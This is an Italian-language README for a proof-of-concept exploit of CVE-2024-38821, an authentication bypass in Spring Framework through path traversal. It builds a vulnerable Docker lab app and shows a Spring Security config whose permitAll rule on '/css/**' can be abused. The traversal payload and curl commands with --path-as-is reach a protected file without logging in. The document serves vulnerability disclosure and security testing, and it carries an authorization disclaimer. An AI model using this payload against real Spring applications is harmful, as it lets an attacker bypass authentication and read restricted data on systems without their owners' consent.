
Exploit proof-of-concept per CVE-2024-38821, che dimostra il bypass dell'autenticazione in Spring Framework tramite path traversal per accedere a risorse riservate.
Questa è una proof of concept per la vulnerabilità CVE-2024-38821
Costruisci l'immagine Docker (Spring Boot 3.3.4, basato su Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Avvia il container ed esponi la porta 8080 alla macchina host
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Esegui il seguente comando per eseguire il PoC e confermare la vulnerabilità
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
Se l'attacco ha successo, la risposta mostrerà: This is a secret file.
Crea SecurityConfig.java per configurare i permessi di accesso:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
Crea il seguente payload. Poiché il payload inizia con /css/, corrisponde al pattern di percorso consentito. Non inizia con /secret/, quindi non corrisponde al pattern di percorso che richiede autenticazione:
/css/../secret/secret-file.txtUsa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Questo PoC è fornito a scopo educativo e di ricerca sulla sicurezza. Prima di utilizzarlo su un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la dovuta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.
Se l'attacco ha successo, la risposta mostrerà: This is a secret file.